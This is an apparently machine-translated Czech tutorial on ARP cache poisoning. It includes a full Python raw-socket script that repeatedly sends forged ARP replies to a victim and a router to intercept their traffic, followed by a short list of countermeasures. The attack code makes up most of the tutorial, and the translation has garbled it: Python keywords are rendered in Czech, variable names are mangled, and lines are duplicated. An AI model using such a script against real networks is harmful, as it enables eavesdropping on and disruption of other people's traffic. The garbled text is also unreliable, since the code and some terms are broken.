Útok otravy ARP pomocí surových soketů v Pythonu

Obsah

Dnes vás budu učit jak implementovat útok otravy ARP (Otrava mezipaměti ARP). Pro to v pythonu použiji raw sockety„Cílem je zjistit, jak tento typ soketů funguje, zjistit, jak tento útok funguje, nebo že můžete provádět testy ve své síti (i když na to již v síti existují nástroje), nikoli že je používáte pro škodlivé aplikace. účely.

PoznámkaS scapy můžete tuto práci implementovat rychleji a snadněji, ale sledováním tohoto tutoriálu budete moci využít znalosti k používání knihovny a udělat to sami, kdybychom to udělali obráceně, stálo by vás to víc. Zde zobrazená metoda funguje pouze na systémech Linux.

Malé detaily, které byste měli vědět
ARPJedná se o protokol rozlišení adresy, který se nachází v síťové vrstvě. Jeho úkolem je najít MAC adresu (fyzickou adresu), která odpovídá konkrétní IP adrese (síťové adrese).
Cache ARPKaždé zařízení má malou paměť, kam ukládá překlady MAC - IP, toho v tomto útoku využijeme. Tato mezipaměť existuje, protože se vyhýbá režii požadování překladu pokaždé, když se připojíme k jinému zařízení.

The Provoz protokolu ARP Je to jednoduché, když někomu pošlete paket, zkontroluje se mezipaměť zařízení, pokud existuje tento překlad, odešle jej paket, pokud neexistuje ARP, odešle vysílací paket (je zvláštní, má cílovou MAC adresu ff: ff: ff: ff: ff: ff), tento paket dosáhne na všechna zařízení v síti a „zeptá se“, kdo má hledanou IP adresu, každé zařízení, když uvidí speciální MAC, bude číst paket a pouze ten s adresou Prohledaná IP odpoví s uvedením své MAC, v tu chvíli bude uložena do mezipaměti, aby se v následujících minutách nemusela znovu ptát.

The Útok otravy ARP Slouží ke špehování dat, která procházejí sítí, nebo ji můžeme také použít k tomu, aby se data nedostala do míst, kam míří. Tento útok spočívá v neustálém odesílání paketů ARP do sítě, což naznačuje, že naše MAC odpovídá IP oběti a že naše MAC je spojena s IP routeru. Balíčky musíme odesílat neustále, protože se jedná o dynamický protokol, takže mezipaměť se mění, je možné, že je překlad vymazán, je aktualizován skutečnými daty, takže abychom zajistili odesílání balíků pokaždé, nejsou velmi těžké, takže běžně nepřetěžují síť.

PoznámkaARP je protokol, který se používá pouze v IPv4, proto tento útok není platný pro IPv6, ale útok otravy lze provést využitím výhod jiného protokolu, například NDP, který slouží k objevování „sousedů“ v síti .

Abychom mohli začít náš příklad, musíme znát IP adresy oběti a brány routeru, stejně jako její MAC, pomocí nmap můžete objevit aktivní zařízení ve vaší síti a MAC lze získat snadno, například chceme otrávit mezipaměť adresy 192.168.66.2, která bude mou obětí (virtuální stroj), provedu v cmd nebo terminálu následující:

 Windows -> Ping 192.168.66.2 -n 1 Unix -> Ping 192.168.66.2 -c 1
-C a -n označují, že by měl být odeslán pouze jeden balíček, každý operační systém má jiný parametr. Později uvedeme:
 harfa
Bude indikovat mezipaměť ARP, proto můžeme vidět překlady, které jsme uložili (a když jsme předtím provedli ping, překlad již máme s obětí). Totéž musíme udělat s bránou routeru:

Dále vložím všechna data, která máme, abychom je měli po ruce:

  • Oběť -> 192.168.66.2 / MAC: 00: 50: 56: e3: d1: 75
  • Směrovač -> IP: 192.168.66.1 / MAC: 00: 50: 56: c0: 00: 08
  • Můj počítač -> IP: 192.168.66.128 / MAC: 00: 0c: 29: 5e: cb: 5f

Vložil jsem kompletní kód a vysvětlil jej níže, funguje pro Python ve verzi 2.x, ale s malými změnami jej můžete přizpůsobit verzi 3.x:

 import socket import time, struct, binascii connection = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind ((""33", socket.htons (0x0800))) macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f "macVictima =" \ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75 "macRouter =" \ x00 \ x50 \ x56 \ xc0 \ x00 \ x08 "kód =" \ x08 \ x06 "commonpackage = macOrigen + kód eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage HardwareType =" \ x00 \ x01 "protocolType =" \ x08 \ x00 "HardwareLength =" \ x06 "ProtocolLength =" \ x04 "OperationCode =" \ x04 "OperationCode =" \ x04 "\ x02" SharedHeader = HardwareType + ProtocolType + HardwareLength + ProtocolLength + OperationCode + macOrigen ipRouter = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") ethVicto + MacVictouterHead = eth1 + MacVictouterCompartida + záhlaví ipVictima arpRouter = eth2 + SharedHeader + ipVictima + macRouter + ipRouter tisk („Otrava cache … zastavit CTRL + C“) zatímco True: connection.send (arpRouter) connection.send (arp ) time.sleep (1)
První věc, kterou uděláme, je import potřebných knihoven, které nepotřebují další vysvětlení. Pokračujme v následujících řádcích:
 connection = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind ((""33", socket.htons (0x0800)))
První řádek vytvoří soket s následujícími charakteristikami:
  • PF_PACKET: Odesílání a přijímání balíčků na nízké úrovni.
  • SOCK_RAW: Chcete -li použít surové zásuvky.
  • socket.htons (0x0800): 0x0800 bude definovat protokol ETH_P_IP, funkce ntohs převede síťový formát na bajty v příslušném formátu pro náš počítač (s znamená krátký, tj. 16 bitů, pokud by měl l, bylo by to 32 bitů).

A druhý bude mít na starosti uvedení zásuvky k „poslechu“:

  • ens33: je to síťové rozhraní, kde budeme pracovat, vaše může být eth0, pokud použijete ifconfig, uvidíte ho (viz obrázek níže).
  • socket.htons (0x800): totéž, co bylo řečeno dříve.

Řádky, které vidíme níže, vytvoří záhlaví ethernetu, za tímto účelem vytvoříme MAC a kód (ten, který jsme vložili, patří do protokolu ARP), pokud se chcete dozvědět více o ethernetu, klikněte zde:

 macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f" macVictima = "\ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75" macRouter = "\ x00 \ x50 \ x56 \ xc0 \ x00 \ x08" kód = "\ x08 \ x06" commonpackage = macSource + kód eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage
Další část kódu sestavuje balíčky ARP. Chcete -li konzultovat strukturu, můžete navštívit následující odkaz a přejít do sekce struktury balíků. Operační kód \ x00 \ x02 má naznačovat, že se jedná o paket odpovědi (pokud by byl 1, byl by to požadavek) a funkce socket.inet_aton () převádí adresu IPv4 na 32bitový binární formát. Jak jste viděli v předchozím kódu a nyní pro vytvoření balíčku spojujeme jeho části.
 HardwareType = "\ x00 \ x01" ProtocolType = "\ x08 \ x00" HardwareLength = "\ x06" ProtocolLength = "\ x04" OperationCode = "\ x00 \ x02" Shared Header = HardwareType + ProtocolType + HardwareLength + Operating ProtocolProtocolLength + MacOperationCode. = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + sdílená hlavička + ipRouter + macVictima + ipVictima arpRouter = eth2 + sdílená hlavička + ipVictima + macRouter + ipRouter
Poslední část kódu ukazuje zprávu, že ví, že funguje, a vstupuje do nekonečné smyčky, která bude odesílat pakety, aby otrávily mezipaměti naší oběti a bránu routeru, což se děje každou sekundu, protože spíme.
 tisknout ("Otrava cache … zastavit CTRL + C") při True: connection.send (arpRouter) connection.send (arpVictima) time.sleep (1)
Podívejme se, jak vypadá spuštění programu (musíme spustit jako uživatel root):

A když se podíváme do mezipaměti oběti, vidíme, že jeho IP adresa je nyní spojena s MAC útočníka:

Protiopatření

  • Použití statické tabulky ARP, položky přidáváme ručně a nenecháváme je měnit.
  • Konzultovat Reverzní ARP, tento protokol vrátí IP adresu z MAC, takže pokud vrací více než jednu IP adresu, je pravděpodobné, že jsme byli podvrženi.

Tato opatření vyžadují minimum znalostí, takže ne každý to zvládne, ale po konzultaci s naší sekcí Otázky nebo návody na IT bezpečnost určitě najdete pomoc.

V případě, že chcete kód, zde je zip:

Stáhněte si kód ArpPoisoning.zip 579 bytů 116 stažení

Líbil se vám tento návod a pomohl mu?Autora můžete odměnit stisknutím tohoto tlačítka, čímž mu dáte kladný bod
wave wave wave wave wave